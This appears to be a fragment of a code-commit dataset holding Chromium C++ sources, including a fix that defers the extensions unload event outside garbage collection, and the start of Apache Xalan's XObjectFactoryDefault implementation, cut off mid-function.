gtk_dialog_set_response_sensitive(GTK_DIALOG(dialog_),\n                                    GTK_RESPONSE_ACCEPT,\n                                    delegate_->IsValid(value));\n}\n\nvoid InputWindowDialogGtk::OnResponse(GtkWidget* dialog, int response_id) {\n  if (response_id == GTK_RESPONSE_ACCEPT) {\n    std::wstring value(UTF8ToWide(gtk_entry_get_text(GTK_ENTRY(input_))));\n    delegate_->InputAccepted(value);\n  } else {\n    delegate_->InputCanceled();\n  }\n  Close();\n}\n\ngboolean InputWindowDialogGtk::OnWindowDeleteEvent(GtkWidget* widget,\n                                                   GdkEvent* event) {\n  Close();\n\n  \/\/ Return true to prevent the gtk dialog from being destroyed. Close will\n  \/\/ destroy it for us and the default gtk_dialog_delete_event_handler() will\n  \/\/ force the destruction without us being able to stop it.\n  return TRUE;\n}\n\nvoid InputWindowDialogGtk::OnWindowDestroy(GtkWidget* widget) {\n  MessageLoop::current()->DeleteSoon(FROM_HERE, this);\n}\n\nInputWindowDialog* InputWindowDialog::Create(gfx::NativeWindow parent,\n                                             const std::wstring& window_title,\n                                             const std::wstring& label,\n                                             const std::wstring& contents,\n                                             Delegate* delegate) {\n  return new InputWindowDialogGtk(parent,\n                                  WideToUTF8(window_title),\n                                  WideToUTF8(label),\n                                  WideToUTF8(contents),\n                                  delegate);\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright (c) 2009 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"chrome\/renderer\/extensions\/event_bindings.h\"\n\n#include \"base\/basictypes.h\"\n#include \"base\/singleton.h\"\n#include \"chrome\/common\/render_messages.h\"\n#include \"chrome\/common\/url_constants.h\"\n#include \"chrome\/renderer\/extensions\/bindings_utils.h\"\n#include \"chrome\/renderer\/extensions\/event_bindings.h\"\n#include \"chrome\/renderer\/js_only_v8_extensions.h\"\n#include \"chrome\/renderer\/render_thread.h\"\n#include \"chrome\/renderer\/render_view.h\"\n#include \"grit\/renderer_resources.h\"\n#include \"webkit\/api\/public\/WebDataSource.h\"\n#include \"webkit\/api\/public\/WebURLRequest.h\"\n#include \"webkit\/glue\/webframe.h\"\n\nusing bindings_utils::CallFunctionInContext;\nusing bindings_utils::ContextInfo;\nusing bindings_utils::ContextList;\nusing bindings_utils::GetContexts;\nusing bindings_utils::GetStringResource;\nusing bindings_utils::ExtensionBase;\nusing bindings_utils::GetPendingRequestMap;\nusing bindings_utils::PendingRequestMap;\n\nnamespace {\n\n\/\/ Keep a local cache of RenderThread so that we can mock it out for unit tests.\nstatic RenderThreadBase* render_thread = NULL;\nstatic bool in_unit_tests = false;\n\n\/\/ Set to true if these bindings are registered.  Will be false when extensions\n\/\/ are disabled.\nstatic bool bindings_registered = false;\n\nstruct ExtensionData {\n  std::map<std::string, int> listener_count;\n};\nint EventIncrementListenerCount(const std::string& event_name) {\n  ExtensionData *data = Singleton<ExtensionData>::get();\n  return ++(data->listener_count[event_name]);\n}\nint EventDecrementListenerCount(const std::string& event_name) {\n  ExtensionData *data = Singleton<ExtensionData>::get();\n  return --(data->listener_count[event_name]);\n}\n\nclass ExtensionImpl : public ExtensionBase {\n public:\n  ExtensionImpl()\n      : ExtensionBase(EventBindings::kName,\n                      GetStringResource<IDR_EVENT_BINDINGS_JS>(),\n                      0, NULL) {\n  }\n  ~ExtensionImpl() {}\n\n  virtual v8::Handle<v8::FunctionTemplate> GetNativeFunction(\n      v8::Handle<v8::String> name) {\n    if (name->Equals(v8::String::New(\"AttachEvent\"))) {\n      return v8::FunctionTemplate::New(AttachEvent);\n    } else if (name->Equals(v8::String::New(\"DetachEvent\"))) {\n      return v8::FunctionTemplate::New(DetachEvent);\n    }\n    return ExtensionBase::GetNativeFunction(name);\n  }\n\n  \/\/ Attach an event name to an object.\n  static v8::Handle<v8::Value> AttachEvent(const v8::Arguments& args) {\n    DCHECK(args.Length() == 1);\n    \/\/ TODO(erikkay) should enforce that event name is a string in the bindings\n    DCHECK(args[0]->IsString() || args[0]->IsUndefined());\n\n    if (args[0]->IsString()) {\n      std::string event_name(*v8::String::AsciiValue(args[0]));\n      if (EventIncrementListenerCount(event_name) == 1) {\n        EventBindings::GetRenderThread()->Send(\n            new ViewHostMsg_ExtensionAddListener(event_name));\n      }\n    }\n\n    return v8::Undefined();\n  }\n\n  static v8::Handle<v8::Value> DetachEvent(const v8::Arguments& args) {\n    DCHECK(args.Length() == 1);\n    \/\/ TODO(erikkay) should enforce that event name is a string in the bindings\n    DCHECK(args[0]->IsString() || args[0]->IsUndefined());\n\n    if (args[0]->IsString()) {\n      std::string event_name(*v8::String::AsciiValue(args[0]));\n      if (EventDecrementListenerCount(event_name) == 0) {\n        EventBindings::GetRenderThread()->Send(\n          new ViewHostMsg_ExtensionRemoveListener(event_name));\n      }\n    }\n\n    return v8::Undefined();\n  }\n};\n\n}  \/\/ namespace\n\nconst char* EventBindings::kName = \"chrome\/EventBindings\";\n\nv8::Extension* EventBindings::Get() {\n  bindings_registered = true;\n  return new ExtensionImpl();\n}\n\n\/\/ static\nvoid EventBindings::SetRenderThread(RenderThreadBase* thread) {\n  render_thread = thread;\n  in_unit_tests = true;\n}\n\n\/\/ static\nRenderThreadBase* EventBindings::GetRenderThread() {\n  return render_thread ? render_thread : RenderThread::current();\n}\n\nstatic void HandleContextDestroyed(ContextList::iterator context_iter,\n                                   bool callUnload) {\n  \/\/ Notify the bindings that they're going away.\n  if (callUnload) {\n    CallFunctionInContext((*context_iter)->context, \"dispatchOnUnload\", 0,\n                          NULL);\n  }\n\n  \/\/ Remove all pending requests for this context.\n  PendingRequestMap& pending_requests = GetPendingRequestMap();\n  for (PendingRequestMap::iterator it = pending_requests.begin();\n       it != pending_requests.end(); ) {\n    PendingRequestMap::iterator current = it++;\n    if (current->second->context == (*context_iter)->context) {\n      current->second->context.Dispose();\n      current->second->context.Clear();\n      pending_requests.erase(current);\n    }\n  }\n\n  \/\/ Unload any content script contexts for this frame.\n  for (ContextList::iterator it = GetContexts().begin();\n       it != GetContexts().end(); ) {\n    ContextList::iterator current = it++;\n    if ((*current)->parent_context == (*context_iter)->context)\n      HandleContextDestroyed(current, callUnload);\n  }\n\n  \/\/ Remove it from our registered contexts.\n  (*context_iter)->context.ClearWeak();\n  (*context_iter)->context.Dispose();\n  (*context_iter)->context.Clear();\n\n  if (!(*context_iter)->parent_context.IsEmpty()) {\n    (*context_iter)->parent_context.Dispose();\n    (*context_iter)->parent_context.Clear();\n  }\n\n  GetContexts().erase(context_iter);\n}\n\nstatic void ContextWeakReferenceCallback(v8::Persistent<v8::Value> context,\n                                         void*) {\n  for (ContextList::iterator it = GetContexts().begin();\n       it != GetContexts().end(); ++it) {\n    if ((*it)->context == context) {\n      HandleContextDestroyed(it, false);\n      return;\n    }\n  }\n\n  NOTREACHED();\n}\n\nvoid EventBindings::HandleContextCreated(WebFrame* frame, bool content_script) {\n  if (!bindings_registered)\n    return;\n\n  v8::HandleScope handle_scope;\n  ContextList& contexts = GetContexts();\n  v8::Local<v8::Context> frame_context = frame->GetScriptContext();\n  v8::Local<v8::Context> context = v8::Context::GetCurrent();\n  DCHECK(!context.IsEmpty());\n  DCHECK(bindings_utils::FindContext(context) == contexts.end());\n\n  \/\/ Figure out the URL for the toplevel frame.  If the top frame is loading,\n  \/\/ use its provisional URL, since we get this notification before commit.\n  WebFrame* main_frame = frame->GetView()->GetMainFrame();\n  WebKit::WebDataSource* ds = main_frame->GetProvisionalDataSource();\n  if (!ds)\n    ds = main_frame->GetDataSource();\n  GURL url = ds->request().url();\n  std::string extension_id;\n  if (url.SchemeIs(chrome::kExtensionScheme)) {\n    extension_id = url.host();\n  } else if (!content_script) {\n    \/\/ This context is a regular non-extension web page.  Ignore it.  We only\n    \/\/ care about content scripts and extension frames.\n    \/\/ (Unless we're in unit tests, in which case we don't care what the URL\n    \/\/ is).\n    DCHECK(frame_context == context);\n    if (!in_unit_tests)\n      return;\n  }\n\n  v8::Persistent<v8::Context> persistent_context =\n      v8::Persistent<v8::Context>::New(context);\n  v8::Persistent<v8::Context> parent_context;\n\n  if (content_script) {\n    DCHECK(frame_context != context);\n\n    parent_context = v8::Persistent<v8::Context>::New(frame_context);\n    \/\/ Content script contexts can get GCed before their frame goes away, so\n    \/\/ set up a GC callback.\n    persistent_context.MakeWeak(NULL, &ContextWeakReferenceCallback);\n  }\n\n  RenderView* render_view = NULL;\n  if (frame->GetView() && frame->GetView()->GetDelegate())\n    render_view = static_cast<RenderView*>(frame->GetView()->GetDelegate());\n\n  contexts.push_back(linked_ptr<ContextInfo>(\n      new ContextInfo(persistent_context, extension_id, parent_context,\n                      render_view)));\n\n  v8::Handle<v8::Value> argv[1];\n  argv[0] = v8::String::New(extension_id.c_str());\n  CallFunctionInContext(context, \"dispatchOnLoad\", arraysize(argv), argv);\n}\n\n\/\/ static\nvoid EventBindings::HandleContextDestroyed(WebFrame* frame) {\n  if (!bindings_registered)\n    return;\n\n  v8::HandleScope handle_scope;\n  v8::Local<v8::Context> context = frame->GetScriptContext();\n  DCHECK(!context.IsEmpty());\n\n  ContextList::iterator context_iter = bindings_utils::FindContext(context);\n  if (context_iter != GetContexts().end())\n    ::HandleContextDestroyed(context_iter, true);\n}\n\n\/\/ static\nvoid EventBindings::CallFunction(const std::string& function_name,\n                                 int argc, v8::Handle<v8::Value>* argv,\n                                 RenderView* render_view) {\n  for (ContextList::iterator it = GetContexts().begin();\n       it != GetContexts().end(); ++it) {\n    if (render_view && render_view != (*it)->render_view)\n      continue;\n    CallFunctionInContext((*it)->context, function_name, argc, argv);\n  }\n}\n<commit_msg>Don't dispatch the extensions bindings unload event during GC.<commit_after>\/\/ Copyright (c) 2009 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"chrome\/renderer\/extensions\/event_bindings.h\"\n\n#include \"base\/basictypes.h\"\n#include \"base\/singleton.h\"\n#include \"chrome\/common\/render_messages.h\"\n#include \"chrome\/common\/url_constants.h\"\n#include \"chrome\/renderer\/extensions\/bindings_utils.h\"\n#include \"chrome\/renderer\/extensions\/event_bindings.h\"\n#include \"chrome\/renderer\/js_only_v8_extensions.h\"\n#include \"chrome\/renderer\/render_thread.h\"\n#include \"chrome\/renderer\/render_view.h\"\n#include \"grit\/renderer_resources.h\"\n#include \"webkit\/api\/public\/WebDataSource.h\"\n#include \"webkit\/api\/public\/WebURLRequest.h\"\n#include \"webkit\/glue\/webframe.h\"\n\nusing bindings_utils::CallFunctionInContext;\nusing bindings_utils::ContextInfo;\nusing bindings_utils::ContextList;\nusing bindings_utils::GetContexts;\nusing bindings_utils::GetStringResource;\nusing bindings_utils::ExtensionBase;\nusing bindings_utils::GetPendingRequestMap;\nusing bindings_utils::PendingRequestMap;\n\nnamespace {\n\n\/\/ Keep a local cache of RenderThread so that we can mock it out for unit tests.\nstatic RenderThreadBase* render_thread = NULL;\nstatic bool in_unit_tests = false;\n\n\/\/ Set to true if these bindings are registered.  Will be false when extensions\n\/\/ are disabled.\nstatic bool bindings_registered = false;\n\nstruct ExtensionData {\n  std::map<std::string, int> listener_count;\n};\nint EventIncrementListenerCount(const std::string& event_name) {\n  ExtensionData *data = Singleton<ExtensionData>::get();\n  return ++(data->listener_count[event_name]);\n}\nint EventDecrementListenerCount(const std::string& event_name) {\n  ExtensionData *data = Singleton<ExtensionData>::get();\n  return --(data->listener_count[event_name]);\n}\n\nclass ExtensionImpl : public ExtensionBase {\n public:\n  ExtensionImpl()\n      : ExtensionBase(EventBindings::kName,\n                      GetStringResource<IDR_EVENT_BINDINGS_JS>(),\n                      0, NULL) {\n  }\n  ~ExtensionImpl() {}\n\n  virtual v8::Handle<v8::FunctionTemplate> GetNativeFunction(\n      v8::Handle<v8::String> name) {\n    if (name->Equals(v8::String::New(\"AttachEvent\"))) {\n      return v8::FunctionTemplate::New(AttachEvent);\n    } else if (name->Equals(v8::String::New(\"DetachEvent\"))) {\n      return v8::FunctionTemplate::New(DetachEvent);\n    }\n    return ExtensionBase::GetNativeFunction(name);\n  }\n\n  \/\/ Attach an event name to an object.\n  static v8::Handle<v8::Value> AttachEvent(const v8::Arguments& args) {\n    DCHECK(args.Length() == 1);\n    \/\/ TODO(erikkay) should enforce that event name is a string in the bindings\n    DCHECK(args[0]->IsString() || args[0]->IsUndefined());\n\n    if (args[0]->IsString()) {\n      std::string event_name(*v8::String::AsciiValue(args[0]));\n      if (EventIncrementListenerCount(event_name) == 1) {\n        EventBindings::GetRenderThread()->Send(\n            new ViewHostMsg_ExtensionAddListener(event_name));\n      }\n    }\n\n    return v8::Undefined();\n  }\n\n  static v8::Handle<v8::Value> DetachEvent(const v8::Arguments& args) {\n    DCHECK(args.Length() == 1);\n    \/\/ TODO(erikkay) should enforce that event name is a string in the bindings\n    DCHECK(args[0]->IsString() || args[0]->IsUndefined());\n\n    if (args[0]->IsString()) {\n      std::string event_name(*v8::String::AsciiValue(args[0]));\n      if (EventDecrementListenerCount(event_name) == 0) {\n        EventBindings::GetRenderThread()->Send(\n          new ViewHostMsg_ExtensionRemoveListener(event_name));\n      }\n    }\n\n    return v8::Undefined();\n  }\n};\n\n}  \/\/ namespace\n\nconst char* EventBindings::kName = \"chrome\/EventBindings\";\n\nv8::Extension* EventBindings::Get() {\n  bindings_registered = true;\n  return new ExtensionImpl();\n}\n\n\/\/ static\nvoid EventBindings::SetRenderThread(RenderThreadBase* thread) {\n  render_thread = thread;\n  in_unit_tests = true;\n}\n\n\/\/ static\nRenderThreadBase* EventBindings::GetRenderThread() {\n  return render_thread ? render_thread : RenderThread::current();\n}\n\nstatic void DeferredUnload(v8::Persistent<v8::Context> context) {\n  v8::HandleScope handle_scope;\n  CallFunctionInContext(context, \"dispatchOnUnload\", 0, NULL);\n  context.Dispose();\n  context.Clear();\n}\n\nstatic void HandleContextDestroyed(ContextList::iterator context_iter,\n                                   bool in_gc) {\n  \/\/ Notify the bindings that they're going away.\n  if (in_gc) {\n    \/\/ We shouldn't call back into javascript during a garbage collect.  Do it\n    \/\/ later.  We'll hang onto the context until this DeferredUnload is called.\n    MessageLoop::current()->PostTask(FROM_HERE, NewRunnableFunction(\n        DeferredUnload, (*context_iter)->context));\n  } else {\n    CallFunctionInContext((*context_iter)->context, \"dispatchOnUnload\",\n                          0, NULL);\n  }\n\n  \/\/ Remove all pending requests for this context.\n  PendingRequestMap& pending_requests = GetPendingRequestMap();\n  for (PendingRequestMap::iterator it = pending_requests.begin();\n       it != pending_requests.end(); ) {\n    PendingRequestMap::iterator current = it++;\n    if (current->second->context == (*context_iter)->context) {\n      current->second->context.Dispose();\n      current->second->context.Clear();\n      pending_requests.erase(current);\n    }\n  }\n\n  \/\/ Unload any content script contexts for this frame.\n  for (ContextList::iterator it = GetContexts().begin();\n       it != GetContexts().end(); ) {\n    ContextList::iterator current = it++;\n    if ((*current)->parent_context == (*context_iter)->context)\n      HandleContextDestroyed(current, in_gc);\n  }\n\n  if (!(*context_iter)->parent_context.IsEmpty()) {\n    (*context_iter)->parent_context.Dispose();\n    (*context_iter)->parent_context.Clear();\n  }\n\n  \/\/ Remove it from our registered contexts.\n  (*context_iter)->context.ClearWeak();\n  if (!in_gc) {\n    (*context_iter)->context.Dispose();\n    (*context_iter)->context.Clear();\n  }\n\n  GetContexts().erase(context_iter);\n}\n\nstatic void ContextWeakReferenceCallback(v8::Persistent<v8::Value> context,\n                                         void*) {\n  for (ContextList::iterator it = GetContexts().begin();\n       it != GetContexts().end(); ++it) {\n    if ((*it)->context == context) {\n      HandleContextDestroyed(it, true);\n      return;\n    }\n  }\n\n  NOTREACHED();\n}\n\nvoid EventBindings::HandleContextCreated(WebFrame* frame, bool content_script) {\n  if (!bindings_registered)\n    return;\n\n  v8::HandleScope handle_scope;\n  ContextList& contexts = GetContexts();\n  v8::Local<v8::Context> frame_context = frame->GetScriptContext();\n  v8::Local<v8::Context> context = v8::Context::GetCurrent();\n  DCHECK(!context.IsEmpty());\n  DCHECK(bindings_utils::FindContext(context) == contexts.end());\n\n  \/\/ Figure out the URL for the toplevel frame.  If the top frame is loading,\n  \/\/ use its provisional URL, since we get this notification before commit.\n  WebFrame* main_frame = frame->GetView()->GetMainFrame();\n  WebKit::WebDataSource* ds = main_frame->GetProvisionalDataSource();\n  if (!ds)\n    ds = main_frame->GetDataSource();\n  GURL url = ds->request().url();\n  std::string extension_id;\n  if (url.SchemeIs(chrome::kExtensionScheme)) {\n    extension_id = url.host();\n  } else if (!content_script) {\n    \/\/ This context is a regular non-extension web page.  Ignore it.  We only\n    \/\/ care about content scripts and extension frames.\n    \/\/ (Unless we're in unit tests, in which case we don't care what the URL\n    \/\/ is).\n    DCHECK(frame_context == context);\n    if (!in_unit_tests)\n      return;\n  }\n\n  v8::Persistent<v8::Context> persistent_context =\n      v8::Persistent<v8::Context>::New(context);\n  v8::Persistent<v8::Context> parent_context;\n\n  if (content_script) {\n    DCHECK(frame_context != context);\n\n    parent_context = v8::Persistent<v8::Context>::New(frame_context);\n    \/\/ Content script contexts can get GCed before their frame goes away, so\n    \/\/ set up a GC callback.\n    persistent_context.MakeWeak(NULL, &ContextWeakReferenceCallback);\n  }\n\n  RenderView* render_view = NULL;\n  if (frame->GetView() && frame->GetView()->GetDelegate())\n    render_view = static_cast<RenderView*>(frame->GetView()->GetDelegate());\n\n  contexts.push_back(linked_ptr<ContextInfo>(\n      new ContextInfo(persistent_context, extension_id, parent_context,\n                      render_view)));\n\n  v8::Handle<v8::Value> argv[1];\n  argv[0] = v8::String::New(extension_id.c_str());\n  CallFunctionInContext(context, \"dispatchOnLoad\", arraysize(argv), argv);\n}\n\n\/\/ static\nvoid EventBindings::HandleContextDestroyed(WebFrame* frame) {\n  if (!bindings_registered)\n    return;\n\n  v8::HandleScope handle_scope;\n  v8::Local<v8::Context> context = frame->GetScriptContext();\n  DCHECK(!context.IsEmpty());\n\n  ContextList::iterator context_iter = bindings_utils::FindContext(context);\n  if (context_iter != GetContexts().end())\n    ::HandleContextDestroyed(context_iter, false);\n}\n\n\/\/ static\nvoid EventBindings::CallFunction(const std::string& function_name,\n                                 int argc, v8::Handle<v8::Value>* argv,\n                                 RenderView* render_view) {\n  for (ContextList::iterator it = GetContexts().begin();\n       it != GetContexts().end(); ++it) {\n    if (render_view && render_view != (*it)->render_view)\n      continue;\n    CallFunctionInContext((*it)->context, function_name, argc, argv);\n  }\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * The Apache Software License, Version 1.1\n *\n *\n * Copyright (c) 1999 The Apache Software Foundation.  All rights \n * reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n *\n * 1. Redistributions of source code must retain the above copyright\n *    notice, this list of conditions and the following disclaimer. \n *\n * 2. Redistributions in binary form must reproduce the above copyright\n *    notice, this list of conditions and the following disclaimer in\n *    the documentation and\/or other materials provided with the\n *    distribution.\n *\n * 3. The end-user documentation included with the redistribution,\n *    if any, must include the following acknowledgment:  \n *       \"This product includes software developed by the\n *        Apache Software Foundation (http:\/\/www.apache.org\/).\"\n *    Alternately, this acknowledgment may appear in the software itself,\n *    if and wherever such third-party acknowledgments normally appear.\n *\n * 4. The names \"Xalan\" and \"Apache Software Foundation\" must\n *    not be used to endorse or promote products derived from this\n *    software without prior written permission. For written \n *    permission, please contact apache@apache.org.\n *\n * 5. Products derived from this software may not be called \"Apache\",\n *    nor may \"Apache\" appear in their name, without prior written\n *    permission of the Apache Software Foundation.\n *\n * THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESSED OR IMPLIED\n * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES\n * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n * DISCLAIMED.  IN NO EVENT SHALL THE APACHE SOFTWARE FOUNDATION OR\n * ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF\n * USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND\n * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,\n * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT\n * OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF\n * SUCH DAMAGE.\n * ====================================================================\n *\n * This software consists of voluntary contributions made by many\n * individuals on behalf of the Apache Software Foundation and was\n * originally based on software copyright (c) 1999, International\n * Business Machines, Inc., http:\/\/www.ibm.com.  For more\n * information on the Apache Software Foundation, please see\n * <http:\/\/www.apache.org\/>.\n *\/\n\/\/ Class header file...\n#include \"XObjectFactoryDefault.hpp\"\n\n\n\n#include <algorithm>\n#include <memory>\n\n\n\n#include \"XBoolean.hpp\"\n#include \"XNodeSet.hpp\"\n#include \"XNull.hpp\"\n#include \"XNumber.hpp\"\n#include \"XResultTreeFrag.hpp\"\n#include \"XSpan.hpp\"\n#include \"XString.hpp\"\n#include \"XStringAdapter.hpp\"\n#include \"XStringCached.hpp\"\n#include \"XStringReference.hpp\"\n#include \"XUnknown.hpp\"\n\n\n\nXObjectFactoryDefault::XObjectFactoryDefault(\n\t\t\tunsigned int\ttheXStringBlockSize,\n\t\t\tunsigned int\ttheXNumberBlockSize,\n\t\t\tunsigned int\ttheXNodeSetBlockSize,\n\t\t\tunsigned int\ttheXResultTreeFragBlockSize) :  \n\tXObjectFactory(),\n\tm_xstringAdapterAllocator(theXStringBlockSize),\n\tm_xstringAllocator(theXStringBlockSize),\n\tm_xstringCachedAllocator(theXStringBlockSize),\n\tm_xstringReferenceAllocator(theXStringBlockSize),\n\tm_xnumberAllocator(theXNumberBlockSize),\n\tm_xnodesetAllocator(theXNodeSetBlockSize),\n\tm_xresultTreeFragAllocator(theXResultTreeFragBlockSize),\n\tm_xtokenNumberAdapterAllocator(theXNumberBlockSize),\n\tm_xtokenStringAdapterAllocator(theXStringBlockSize),\n\tm_xobjects(),\n\tm_xnumberCache(),\n\tm_xnodesetCache(),\n\tm_xresultTreeFragCache(),\n\tm_XNull(new XNull),\n\tm_xbooleanFalse(new XBoolean(false)),\n\tm_xbooleanTrue(new XBoolean(true))\n{\n}\n\n\n\nXObjectFactoryDefault::~XObjectFactoryDefault()\n{\n\treset();\n}\n\n\n\nbool\nXObjectFactoryDefault::doReturnObject(\n\t\t\tXObject*\ttheXObject,\n\t\t\tbool\t\tfInReset)\n{\n\tassert(theXObject != 0);\n\n\tbool bStatus = false;\t\n\n\tconst XObject::eObjectType\ttheType = getRealType(*theXObject);\n\n\tswitch(theType)\n\t{\n\tcase XObject::eTypeBoolean:\n\tcase XObject::eTypeNull:\n\t\t{\t\t\n\t\t\tbStatus = true;\n\t\t}\n\n\tcase XObject::eTypeStringAdapter:\n\t\t{\n\t\t\tXStringAdapter* const\t\ttheXStringAdapter =\n#if defined(XALAN_OLD_STYLE_CASTS)\n\t\t\t\t(XStringAdapter*)theXObject;\n#else\n\t\t\t\tstatic_cast<XStringAdapter*>(theXObject);\n#endif\n\n\t\t\tbStatus = m_xstringAdapterAllocator.destroy(theXStringAdapter);\n\t\t}\n\t\tbreak;\n\n\tcase XObject::eTypeXTokenNumberAdapter:\n\t\t{\n\t\t\tXTokenNumberAdapter* const\ttheAdapter =\n#if defined(XALAN_OLD_STYLE_CASTS)\n\t\t\t\t(XTokenNumberAdapter*)theXObject;\n#else\n\t\t\t\tstatic_cast<XTokenNumberAdapter*>(theXObject);\n#endif\n\n\t\t\tbStatus = m_xtokenNumberAdapterAllocator.destroy(theAdapter);\n\t\t}\n\t\tbreak;\n\n\tcase XObject::eTypeXTokenStringAdapter:\n\t\t{\n\t\t\tXTokenStringAdapter* const\ttheAdapter =\n#if defined(XALAN_OLD_STYLE_CASTS)\n\t\t\t\t(XTokenStringAdapter*)theXObject;\n#else\n\t\t\t\tstatic_cast<XTokenStringAdapter*>(theXObject);\n#endif\n\n\t\t\tbStatus = m_xtokenStringAdapterAllocator.destroy(theAdapter);\n\t\t}\n\t\tbreak;\n\n\tcase XObject::eTypeString:\n\t\t{\n\t\t\tXString* const\ttheXString =\n#if defined(XALAN_OLD_STYLE_CASTS)\n\t\t\t\t(XString*)theXObject;\n#else\n\t\t\t\tstatic_cast<XString*>(theXObject);\n#endif\n\n\t\t\tbStatus = m_xstringAllocator.destroy(theXString);\n\t\t}\n\t\tbreak;\n\n\tcase XObject::eTypeStringCached:\n\t\t{\n\t\t\tXStringCached* const\ttheXStringCached =\n#if defined(XALAN_OLD_STYLE_CASTS)\n\t\t\t\t(XStringCached*)theXObject;\n#else\n\t\t\t\tstatic_cast<XStringCached*>(theXObject);\n#endif\n\n\t\t\tbStatus = m_xstringCachedAllocator.destroy(theXStringCached);\n\t\t}\n\t\tbreak;\n\n\tcase XObject::eTypeStringReference:\n\t\t{\n\t\t\tXStringReference* const\t\ttheXStringReference =\n#if defined(XALAN_OLD_STYLE_CASTS)\n\t\t\t\t(XStringReference*)theXObject;\n#else\n\t\t\t\tstatic_cast<XStringReference*>(theXObject);\n#endif\n\n\t\t\tbStatus = m_xstringReferenceAllocator.destroy(theXStringReference);\n\t\t}\n\t\tbreak;\n\n\tcase  XObject::eTypeNumber:\n\t\t{\n\t\t\tXNumber* const\ttheXNumber =\n#if defined(XALAN_OLD_STYLE_CASTS)\n\t\t\t\t(XNumber*)theXObject;\n#else\n\t\t\t\tstatic_cast<XNumber*>(theXObject);\n#endif\n\n\t\t\tif (m_xnumberCache.size() < eXNumberCacheMax)\n\t\t\t{\n\t\t\t\tm_xnumberCache.push_back(theXNumber);\n\n\t\t\t\tbStatus = true;\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tbStatus = m_xnumberAllocator.destroy(theXNumber);\n\t\t\t}\n\t\t}\n\t\tbreak;\n\n\tcase XObject::eTypeNodeSet:\n\t\t{\n\t\t\tXNodeSet* const\t\ttheXNodeSet =\n#if defined(XALAN_OLD_STYLE_CASTS)\n\t\t\t\t(XNodeSet*)theXObject;\n#else\n\t\t\t\tstatic_cast<XNodeSet*>(theXObject);\n#endif\n\n\t\t\tif (m_xnodesetCache.size() < eXNodeSetCacheMax)\n\t\t\t{\n\t\t\t\ttheXNodeSet->release();\n\n\t\t\t\tm_xnodesetCache.push_back(theXNodeSet);\n\n\t\t\t\tbStatus = true;\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tbStatus = m_xnodesetAllocator.destroy(theXNodeSet);\n\t\t\t}\n\t\t}\n\t\tbreak;\n\n\tcase XObject::eTypeResultTreeFrag:\t\n\t\t{\n\t\t\tXResultTreeFrag* const\ttheXResultTreeFrag =\n#if defined(XALAN_OLD_STYLE_CASTS)\n\t\t\t\t(XResultTreeFrag*)theXObject;\n#else\n\t\t\t\tstatic_cast<XResultTreeFrag*>(theXObject);\n#endif\n\n\t\t\tif (m_xresultTreeFragCache.size() < eXResultTreeFragCacheMax)\n\t\t\t{\n\t\t\t\tm_xresultTreeFragCache.push_back(theXResultTreeFrag);\n\n\t\t\t\tbStatus = true;\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tbStatus = m_xresultTreeFragAllocator.destroy(theXResultTreeFrag);\n\t\t\t}\n\t\t}\n\t\tbreak;\n\n\tdefault:\n\t\t{\n#if !defined(XALAN_NO_NAMESPACES)\n\t\t\tusing std::find;\n#endif\n\n\t\t\tconst XObjectCollectionType::iterator\ti =\n\t\t\t\t\tfind(m_xobjects.begin(), m_xobjects.end(), theXObject);\n\n\t\t\tif (i != m_xobjects.end())\n\t\t\t{\n\t\t\t\tif (fInReset == false)\n\t\t\t\t{\n\t\t\t\t\tm_xobjects.erase(i);\n\t\t\t\t}\n\n\t\t\t\tdeleteObject(theXObject);\n\n\t\t\t\tbStatus = true;\n\t\t\t}\n\t\t}\n\t\tbreak;\n\t}\n\t\n\treturn bStatus;\n}\n\n\n\nconst XObjectPtr\nXObjectFactoryDefault::createBoolean(\n\t\t\tbool\ttheValue)\n{\n\tif (theValue == true)\n\t{\n\t\treturn XObjectPtr(m_xbooleanTrue.get());\n\t}\n\telse\n\t{\n\t\treturn XObjectPtr(m_xbooleanFalse.get());\n\t}\n}\n\n\n\nconst XObjectPtr\nXObjectFactoryDefault::createNull()\n{\t\n\treturn XObjectPtr(m_XNull.get());\n}\n\n\n\nconst XObjectPtr\nXObjectFactoryDefault::createUnknown(const XalanDOMString&\ttheValue)\n{\n\tXUnknown* const\ttheXUnknown = new XUnknown(theValue);\n\n\tm_xobjects.push_back(theXUnknown);\n\n\ttheXUnknown->setFactory(this);\n\n\treturn XObjectPtr(theXUnknown);\n}\n\n\n\nconst XObjectPtr\nXObjectFactoryDefault::createSpan(BorrowReturnMutableNodeRefList&\ttheValue)\n{\n\tXSpan* const\ttheXObject = new XSpan(theValue);\n\n\tm_xobjects.push_back(theXObject);\n\n\ttheXObject->setFactory(this);\n\n\treturn XObjectPtr(theXObject);\n}\n\n\n\nconst XObjectPtr\nXObjectFactoryDefault::createNumber(double\ttheValue)\n{\n\tif (m_xnumberCache.size() > 0)\n\t{\n\t\tXNumber* const\ttheXNumber = m_xnumberCache.back();\n\n\t\tm_xnumberCache.pop_back();\n\n\t\ttheXNumber->set(theValue);\n\n\t\treturn XObjectPtr(theXNumber);\n\t}\n\telse\n\t{\n\t\tm_xnumberCache.reserve(eXNumberCacheMax);\n\n\t\tXObject* const\ttheXObject = 